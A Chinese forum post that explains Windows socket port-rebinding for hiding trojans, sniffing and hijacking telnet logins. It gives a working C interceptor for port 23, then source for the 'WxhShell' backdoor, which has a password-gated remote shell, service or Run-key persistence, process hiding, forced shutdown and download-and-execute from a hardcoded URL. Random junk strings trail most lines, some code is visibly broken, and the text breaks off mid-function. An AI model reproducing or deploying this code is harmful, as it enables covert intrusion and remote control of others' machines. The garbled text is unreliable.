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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~`nm<   
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); BK`Q)[  
Fi?U)T+%+  
  saddr.sin_family = AF_INET; qK 9L+i  
a2(D!_dZR  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }a #b$]Y  
'$2oSd  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); J_y<0zF**  
-z>Z0viA  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +SZ%&  
zR3lX}g  
  这意味着什么?意味着可以进行如下的攻击: <Y}"D Yt  
z$I[kR%I{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 MHpL$g=5_  
6ywnyh  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) P!)7\.7  
kb>Vw<NtE  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Y1yvI  
1{\,5U&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  m-Z'K_oQ  
s&_IWala  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 X1 0"G~0  
I9Edw]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 vJ'yz#tl9  
]sm0E@1  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +_-)0[+p  
r+V(1<`2X  
  #include X,iuz/Q  
  #include L_.xr ?  
  #include D 7;~x]*  
  #include    v4,syd*3|V  
  DWORD WINAPI ClientThread(LPVOID lpParam);   WW8YB"  
  int main() N#-kk3!Z;  
  { sa0^1$(<  
  WORD wVersionRequested; p)[ BB6E  
  DWORD ret; _I -0,  
  WSADATA wsaData; @6I[{{>X  
  BOOL val; )z*$`?)k  
  SOCKADDR_IN saddr; gR_b~ ^  
  SOCKADDR_IN scaddr; l;][Q]Z@V  
  int err; qhn&;{{  
  SOCKET s; i}$N&  
  SOCKET sc; i-"h"nF"  
  int caddsize; KoQ_: `  
  HANDLE mt; #LNB@E  
  DWORD tid;   EDa08+Y  
  wVersionRequested = MAKEWORD( 2, 2 ); t+4%,n f_1  
  err = WSAStartup( wVersionRequested, &wsaData ); |V~(mS747:  
  if ( err != 0 ) { {7M4SC@p|  
  printf("error!WSAStartup failed!\n"); x1hs19s  
  return -1; h.s<0.  
  } g:HbmXOBpj  
  saddr.sin_family = AF_INET; tWX+\ |  
   N:gstp  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 xUYN\Pc-  
dC;d>j,  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); U}vtVvx  
  saddr.sin_port = htons(23); t&Y^W <  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6Nd_YX  
  { <4A(Z$ZX)  
  printf("error!socket failed!\n"); qU x7S(a  
  return -1; )V+Dqh,-g  
  } ~BYEeUo;%v  
  val = TRUE; :+Je989\[C  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 r{:la56Xd  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Nm :|C 3_I  
  { )dN,b( w9  
  printf("error!setsockopt failed!\n"); HjF'~n  
  return -1; xzf)_ <  
  } B8#f^}8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; D<L{Z[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :-'ri Ry  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 fS$Yl~-m?  
Hd@T8 D*A  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) k3|9U'r!c  
  { T.Y4L  
  ret=GetLastError(); qaSv]k.  
  printf("error!bind failed!\n"); 8#JyK+NU  
  return -1; U>M>FZ  
  } apWrcaj  
  listen(s,2); c$Nl-?W  
  while(1) '~6CGqU*  
  { H(ftOd.y  
  caddsize = sizeof(scaddr); I:2jwAl  
  //接受连接请求 +z/73s0~  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <h>fip3o  
  if(sc!=INVALID_SOCKET) 9mtC"M<   
  { ,4I6RwB.  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); D `3yv R  
  if(mt==NULL) <qj@waKw4  
  { RoXOGVo  
  printf("Thread Creat Failed!\n"); tp3N5I  
  break; $G([#N<  
  } VQJ5$4a&  
  } v?'k)B  
  CloseHandle(mt);  k`zK  
  } HOI`F3#XI  
  closesocket(s); 4'eVFu+62  
  WSACleanup(); j3'/jk]\  
  return 0; /]58:euR  
  }   ^\t">NJ^  
  DWORD WINAPI ClientThread(LPVOID lpParam) x~,?Zj)n?C  
  { Xpz-@fqKdf  
  SOCKET ss = (SOCKET)lpParam; @)B5^[4(;  
  SOCKET sc; >R!I  
  unsigned char buf[4096]; Gi_X+os  
  SOCKADDR_IN saddr; ~9 nrS9)  
  long num; {.'g!{SHp  
  DWORD val; fC:\Gh5  
  DWORD ret; ]o[HH_`s@  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Xst}tz62F  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ,=yIfbFQ  
  saddr.sin_family = AF_INET; ( {62GWnn_  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !: [` V!{  
  saddr.sin_port = htons(23); c=mFYsSv  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) g5]DA.&(  
  { 1Ee>pbd  
  printf("error!socket failed!\n"); l1j   
  return -1; {i?K~| h  
  } #rC+13  
  val = 100; :~(^b;yhZ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3Q6#m3AWY  
  { !kYmrj**  
  ret = GetLastError(); s7gf7 E#Y  
  return -1; hkm3\wg  
  } <0MUn#7'  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) TMs\#  
  { eS+LFS7*k  
  ret = GetLastError(); 3<SC`6'?  
  return -1; Z ISd0hV  
  } vdM\scO:  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)  HuC lO  
  { {RO=4ba{J  
  printf("error!socket connect failed!\n"); `hhG^ O_  
  closesocket(sc); L~zet-3UNf  
  closesocket(ss); Mqy`j9FbL  
  return -1; mI18A#[ 3  
  } IT"jtV  
  while(1) c }cboe2  
  { p5hP}Z4r  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 `_ L|I s=n  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 U3QnWPt}>  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Rx<F^J  
  num = recv(ss,buf,4096,0); G 0 yt%qHE  
  if(num>0) q5Mif\  
  send(sc,buf,num,0); 1jb@n xRjO  
  else if(num==0) f# + h_1#  
  break; w[_Uv4M  
  num = recv(sc,buf,4096,0); .42OSV  
  if(num>0) oE&[W >,x  
  send(ss,buf,num,0); C, rZ}-  
  else if(num==0) 7]Yd-vA  
  break; t$2{U  
  } R&p53n  
  closesocket(ss); XDQ1gg`  
  closesocket(sc); :4TcCWG  
  return 0 ; t~M_NEPxV  
  } &3. 8i%  
:'=C/AL  
,%^0 4sl  
========================================================== tIw4V^'|  
H9?~#GPb  
下边附上一个代码,,WXhSHELL cR} =3|t  
~+hG}7(:  
========================================================== wz=I+IN:  
Gz:a1-x  
#include "stdafx.h" S7*:eo  
5 Da( DA  
#include <stdio.h> [d}1Cq=_  
#include <string.h> \~>#<@h  
#include <windows.h> UK/k?0  
#include <winsock2.h> C09@2M'  
#include <winsvc.h> 5=\b+<pE  
#include <urlmon.h> R!ij CF\  
|V5H(2/nk  
#pragma comment (lib, "Ws2_32.lib") ho. a93  
#pragma comment (lib, "urlmon.lib")  :n4x}%  
gB#t"s)  
#define MAX_USER   100 // 最大客户端连接数 :KwYuwYS  
#define BUF_SOCK   200 // sock buffer i|e-N?l  
#define KEY_BUFF   255 // 输入 buffer g=wnly  
L\5n!(,0  
#define REBOOT     0   // 重启 t!LvV.g+  
#define SHUTDOWN   1   // 关机 2vLn#  
:>z0m 0nI\  
#define DEF_PORT   5000 // 监听端口 c2QC`h(Wb  
C;|Ru*  
#define REG_LEN     16   // 注册表键长度 2 Qy&V/E ?  
#define SVC_LEN     80   // NT服务名长度 tee%E=P  
uU0'y4=  
// 从dll定义API &H6Fkza;4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bV ym  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;nbvn  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L`BLkDm  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6IA~bkc}  
`B~%TEvMh  
// wxhshell配置信息 e BPMT  
struct WSCFG { "A7tb39*  
  int ws_port;         // 监听端口 A'T! og|5  
  char ws_passstr[REG_LEN]; // 口令 hO8B]4=&*  
  int ws_autoins;       // 安装标记, 1=yes 0=no a,.9eHf  
  char ws_regname[REG_LEN]; // 注册表键名 y)2]:nD`B  
  char ws_svcname[REG_LEN]; // 服务名 y!j1xnzki  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C|+5F,D  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4I$#R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 EW)]75o{QF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no LdcP0G\"VG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,fbO}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xYbF76B  
HDYoM  
}; PeOgXg)L`z  
@U,cj>K  
// default Wxhshell configuration \VW.>@s~  
struct WSCFG wscfg={DEF_PORT, g_`8K,6ln  
    "xuhuanlingzhe", ;,D7VxWhY  
    1, \I> ,j,c  
    "Wxhshell", YB[P`Muj  
    "Wxhshell", LS;kq',  
            "WxhShell Service", Y) Z>Bi  
    "Wrsky Windows CmdShell Service", };|'8'5  
    "Please Input Your Password: ", *ZHk^d:  
  1, V'8 (}(s/  
  "http://www.wrsky.com/wxhshell.exe", %H54^Z<y  
  "Wxhshell.exe" `y4+OXZ^  
    }; O1QHG'00  
iIg_S13  
// 消息定义模块 Z"A:^jZ<s  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !HFwQGP.Y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1cPi>?R:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z|u_DaSrr|  
char *msg_ws_ext="\n\rExit."; |e!Sm{#!  
char *msg_ws_end="\n\rQuit."; r(RJ&\ !  
char *msg_ws_boot="\n\rReboot..."; bR.T94-8y  
char *msg_ws_poff="\n\rShutdown..."; NoI=t  
char *msg_ws_down="\n\rSave to "; 8I*fPf  
x\lua  
char *msg_ws_err="\n\rErr!"; FBe 1f1 sm  
char *msg_ws_ok="\n\rOK!"; y<Z8+/f`f  
6d,"GT  
char ExeFile[MAX_PATH]; f?)qZPM  
int nUser = 0; H&I 0\upd  
HANDLE handles[MAX_USER]; /IgTmXxxj  
int OsIsNt; M C>{I3  
Zscmc;G  
SERVICE_STATUS       serviceStatus; %"o4IYV#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e_Y>[/Om  
tUzuel*  
// 函数声明 &_ber ad  
int Install(void); #+XKfumLk  
int Uninstall(void); f"/NY6  
int DownloadFile(char *sURL, SOCKET wsh); w$1.h'2  
int Boot(int flag); p0b&CrALx  
void HideProc(void); $uboOfS83G  
int GetOsVer(void); 7#Mi`W  
int Wxhshell(SOCKET wsl); P )`-cfg  
void TalkWithClient(void *cs); qRNGe8  
int CmdShell(SOCKET sock); G'!Hc6OZ  
int StartFromService(void); w(VH>t  
int StartWxhshell(LPSTR lpCmdLine); 7p|Pv;wp|  
?k/Uw'J4u/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j5AW}   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9+pnpaZB0  
B<i1UJ5  
// 数据结构和表定义 ${ e{#  
SERVICE_TABLE_ENTRY DispatchTable[] = iidK}<o  
{ ]ko>vQ4]3  
{wscfg.ws_svcname, NTServiceMain}, iYFM@ta  
{NULL, NULL} TJ#<wIiX  
}; e<q;` H  
%ePInpb  
// 自我安装 F&Q:1`y  
int Install(void) R6!t2gdKe@  
{ &}6=V+J;  
  char svExeFile[MAX_PATH]; VsFRG;:\U  
  HKEY key; t~e.LxN  
  strcpy(svExeFile,ExeFile); [(]uin+9Q  
*PD7H9m  
// 如果是win9x系统,修改注册表设为自启动 ;R}:2  
if(!OsIsNt) { IU&n!5d$)|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pX"f "  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .^uNzN~  
  RegCloseKey(key); R9k Z#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l{6fR(d ?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iielAj*b  
  RegCloseKey(key); _K'YaZTa;~  
  return 0; ,9=5.+AJ  
    } [i\K#O +f  
  } 2wikk]Z  
} UkeX">  
else { A+>+XA'  
pLNv\M+  
// 如果是NT以上系统,安装为系统服务 K-#v5_*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); pf[bOjtR  
if (schSCManager!=0) aR+vY1d"  
{ 8H;yrNL  
  SC_HANDLE schService = CreateService tK1P7pbC8r  
  ( j%0D:jOY]  
  schSCManager, PU[] Nw  
  wscfg.ws_svcname, 3 (jI  
  wscfg.ws_svcdisp, cJGU~\  
  SERVICE_ALL_ACCESS, 4; y*y tY*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A(ql}cr  
  SERVICE_AUTO_START, @}qMI   
  SERVICE_ERROR_NORMAL, rM Un ~  
  svExeFile, y@e/G3  
  NULL, w_PnEJa9  
  NULL, ^_n(>$ EK  
  NULL, "cj6i{x,~w  
  NULL, Dy mf  
  NULL l'm!e'7_  
  ); F{v>   
  if (schService!=0) J.35Ad1hM  
  { ]9F$/M#  
  CloseServiceHandle(schService); xbsp[0I,  
  CloseServiceHandle(schSCManager); yO.q{|kX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \9jEpE^Ju(  
  strcat(svExeFile,wscfg.ws_svcname); "KSzn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H+6+I53  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); qYF150  
  RegCloseKey(key); &( aw  
  return 0; .7_<0&kW  
    } 3vepJ) D (  
  } 6C7|e00v  
  CloseServiceHandle(schSCManager); <>%2HRn<u  
} M*<Ee]u  
} AhWcJD]  
\W4|.[  
return 1; @vs+)aRa  
} xim'TVwvC  
plN:QS$  
// 自我卸载 lp+Uox  
int Uninstall(void) }fU"s"  
{ wF[%+n (*  
  HKEY key; Qv~lH&jG  
B OKY X  
if(!OsIsNt) { *: }9(8d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K !g!tA$  
  RegDeleteValue(key,wscfg.ws_regname); Cj'X L}  
  RegCloseKey(key); eaB6e@]@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rK(TekU  
  RegDeleteValue(key,wscfg.ws_regname); _X;xW#go  
  RegCloseKey(key); 9(eTCe-~6  
  return 0; %m)vQ\Vtx  
  } '(fQtQ%  
} #\1)Tu%-  
} UXgeL2`;  
else { 2D;2QdO  
RA^6c![  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rU/8R'S  
if (schSCManager!=0) :< X&y  
{ w]1Ltq*g/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); S+2we  
  if (schService!=0) Bre:_>*  
  { C( wZj O?N  
  if(DeleteService(schService)!=0) { t.X8c/,;g  
  CloseServiceHandle(schService); >= O5=\`  
  CloseServiceHandle(schSCManager); p.)IdbC`B  
  return 0; mH6\8I  
  } x<d2/[(}mT  
  CloseServiceHandle(schService); C@b-)In  
  } W<Ri(g-  
  CloseServiceHandle(schSCManager); ;2N: =Rv  
} PJ -g.0q  
} @}\wec_   
iewwL7  
return 1; pmfL}Dn  
} FIu|eW+<l  
&+|bAn9AJ  
// 从指定url下载文件 o3C GG  
int DownloadFile(char *sURL, SOCKET wsh) "vvv@sYxi  
{ <~z@G MQCf  
  HRESULT hr; 40=*Ul U-  
char seps[]= "/"; *{x8@|K8  
char *token; 7/e25LS!`U  
char *file; $&Lw 2 c0  
char myURL[MAX_PATH]; ;suY  
char myFILE[MAX_PATH]; E\1e8Wyh  
Xx,Rah)X3  
strcpy(myURL,sURL); fD3>g{  
  token=strtok(myURL,seps); F81Kxcs  
  while(token!=NULL) U5:5$T,C  
  { U2G[uDa;  
    file=token; pL5Bz!_r  
  token=strtok(NULL,seps); PjE%_M<  
  } 7x=-1wbi  
|Ml~_m  
GetCurrentDirectory(MAX_PATH,myFILE); y3@m1>]09  
strcat(myFILE, "\\"); O%s7}bR3  
strcat(myFILE, file); >zX`qv&>  
  send(wsh,myFILE,strlen(myFILE),0); dt5`UBvUg  
send(wsh,"...",3,0); UX24*0`\~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); VV-%AS6;  
  if(hr==S_OK) HC!5AJ&+}v  
return 0; 7<0oK|~c#  
else y?'Z'  
return 1; blx"WVqo  
B,b^_4XX$  
} c8h71Cr  
BN1,R] *;  
// 系统电源模块 +?'a2pUS  
int Boot(int flag) dnzZ\t>U  
{ TUN6`/"  
  HANDLE hToken; O[+\` 63F=  
  TOKEN_PRIVILEGES tkp; vyBx|TR  
eWOZC(I*z  
  if(OsIsNt) { v8U&{pD,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^XT;n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); woUt*G@  
    tkp.PrivilegeCount = 1; -&h<t/U  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >@tJ7m M  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "G!,gtA~  
if(flag==REBOOT) { 7*eIs2aY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _ |G') 9  
  return 0; Bo4iX,zu  
} AzMX~cd  
else { .A F94OlE/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +WE<S)z<  
  return 0; th|'t}bWV  
} &[t} /+)  
  } 9~v#]Q}Z}4  
  else { uoq|l  
if(flag==REBOOT) { byHXRA)39  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~? n)/i("  
  return 0; i4<n#]1!t  
} !-Uq#Ea0/  
else { H2{&da@D5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zB8J|uG  
  return 0; .Fx-$Yqy  
} ~.E r  
} \iH\N/  
^Sc48iDc  
return 1; OzV|z/R2'  
} r!c7{6N  
2,rjy|R`  
// win9x进程隐藏模块 xJ^pqb  
void HideProc(void) %'MR;hQsd8  
{ .*Axr\x3  
mW)C=X%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |!cM_&  
  if ( hKernel != NULL ) b v 4  
  { u >.>hQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A i~d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e@DVf  
    FreeLibrary(hKernel); j34lPo `  
  } 3uuB/8  
6'|NALW  
return; `L @`l  
} FT h/1"a  
ug?#Oa  
// 获取操作系统版本 :?$<:  
int GetOsVer(void) uDMyO<\  
{ SJO^.[  
  OSVERSIONINFO winfo; 2 W Wr./q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )QB9zl:  
  GetVersionEx(&winfo); ogJ>`0 +J  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A}CpyRVCn  
  return 1; U=N]XwjVK<  
  else sDS0cc6e  
  return 0; sf,9Ym  
} pW5PF)([  
i&Me7=~  
// 客户端句柄模块 =UV=F/Af^  
int Wxhshell(SOCKET wsl) (!koz'f  
{ }/VSIS@Z  
  SOCKET wsh; m8 Ti{w(  
  struct sockaddr_in client; 5wI j:s  
  DWORD myID; &P(vm@*  
9=G dj!L  
  while(nUser<MAX_USER) *cc|(EM  
{ 3&Fqd  
  int nSize=sizeof(client); pJ_>^i=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]Czq A c  
  if(wsh==INVALID_SOCKET) return 1; oI9-jW  
u\@ L|rh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); GI/4<J\  
if(handles[nUser]==0) K@@Jt  
  closesocket(wsh); 0hX@ta[Up  
else ]*\<k  
  nUser++; hJGWa%`  
  } Iq(;?_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  o[>p  
y0 qq7Dmu  
  return 0; (^= Hq'D  
} (Ek=0;Cr  
@v=A)L  
// 关闭 socket 33w(Pw  
void CloseIt(SOCKET wsh) 3L%g2`  
{ Eq'oy~.oV  
closesocket(wsh); !Nno@S P@  
nUser--; hP=z<&zb/  
ExitThread(0); (N$$N:ac[t  
} G9jlpf5>  
!@@rO--&  
// 客户端请求句柄 `*Jw[Bnh8  
void TalkWithClient(void *cs) WyJXT.  
{ ppPzI,  
+( V+XT  
  SOCKET wsh=(SOCKET)cs; cP[]\r+Kj  
  char pwd[SVC_LEN]; }$1Aw%p^  
  char cmd[KEY_BUFF]; Gq^#.o]  
char chr[1]; ai~JY[  
int i,j; }NETiJ"6  
8A|i$#.&  
  while (nUser < MAX_USER) { Mta;6<  
]@7]mu:oL  
if(wscfg.ws_passstr) {  eZ +uW0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \ /6m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ia>>b #h  
  //ZeroMemory(pwd,KEY_BUFF); me/ae{  
      i=0;  P7 p'j  
  while(i<SVC_LEN) { Nx"v|"  
Jul xFjC  
  // 设置超时 _Rnq5y  
  fd_set FdRead; Ab f=b<bu  
  struct timeval TimeOut; a3oSSkT  
  FD_ZERO(&FdRead); m&Lc."  
  FD_SET(wsh,&FdRead);  kn|z  
  TimeOut.tv_sec=8; rFR2c?j8  
  TimeOut.tv_usec=0; M)!:o/!cS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s\ i.pd:Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ue0Q| h  
7Om)uUjU4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P;!4 VK  
  pwd=chr[0]; QprzlxB  
  if(chr[0]==0xd || chr[0]==0xa) { <jRs/?1R  
  pwd=0; {cBLm/C  
  break; G.c@4Wz+  
  } ?4}EhXR(  
  i++; "227 U)Q  
    } @OPyT  
)SYZ*=ezl.  
  // 如果是非法用户,关闭 socket ;j/-ndd&&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jZ>'q/  
} 2_ HPsEx  
ZW|VAn'>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /A) v $Bv=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a4M`Bk;mb  
R!.HS0i.  
while(1) { c~UYs\  
_;+N=/l0  
  ZeroMemory(cmd,KEY_BUFF); U-EX)S^T[{  
Epm=&6zf  
      // 自动支持客户端 telnet标准   3fJwj}wL  
  j=0; E5 0$y:  
  while(j<KEY_BUFF) { }AfK=1yOa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N:@C% UW}  
  cmd[j]=chr[0]; E0*'AZi&  
  if(chr[0]==0xa || chr[0]==0xd) { 4r [T pb  
  cmd[j]=0; md/Z[du:'  
  break; uz+b  
  } GX lFS#`  
  j++; 'yM)>]u"  
    } mckrR$>  
8}W06k>)%  
  // 下载文件 :1wMGk  
  if(strstr(cmd,"http://")) { ?y{C"w!   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); N{G+|WmQ  
  if(DownloadFile(cmd,wsh)) UI:{*N**Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); eMvb*X6  
  else Z qg(\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {q:o}<-L+  
  } HH|&$C|64  
  else { a".uS4x  
1XO*yZF  
    switch(cmd[0]) { Mr(~ *  
  Yn}_"FO'  
  // 帮助 9c=_p'G3Fw  
  case '?': { K/u`W z~A  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); SS;QPWRZ  
    break; ?WX&,ew~  
  } Zh.fv-Ecp  
  // 安装 n]@+<TA<uA  
  case 'i': { <nj[=C4v  
    if(Install()) v=|BqG`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OI.2CF  
    else 3HA$k[%7P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [#td  
    break; 05MtQB   
    } V|.aud=7z  
  // 卸载 E `)p,{T  
  case 'r': { zY|]bP[NEH  
    if(Uninstall()) AAdRuO{l1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^ >ca*g  
    else v}]x>f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oA~m*|  
    break; b~b(Ed{r  
    } <5(8LMF  
  // 显示 wxhshell 所在路径 .>?["e#,  
  case 'p': { = sIR[V'(  
    char svExeFile[MAX_PATH]; 9hT^Y,c0  
    strcpy(svExeFile,"\n\r"); Hk\+;'PrN  
      strcat(svExeFile,ExeFile); 2`vCQV  
        send(wsh,svExeFile,strlen(svExeFile),0); Q[p0bD:  
    break; Md {,@ G  
    } G6eC.vU]j  
  // 重启 ?4Z0)%6  
  case 'b': { asW1GZO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ) ZOmv  
    if(Boot(REBOOT)) S_:(I^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @6$r| :]G-  
    else { $#@4i4TN-  
    closesocket(wsh); 9MLvHrB;  
    ExitThread(0); ;?2vW8{p<  
    } AEnS_Q  
    break; Oyq<y~}  
    } ;.W0Aa  
  // 关机 {zUc*9  
  case 'd': { "\BP+AF  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Whd4-pR8  
    if(Boot(SHUTDOWN)) }C7tlA8,7  
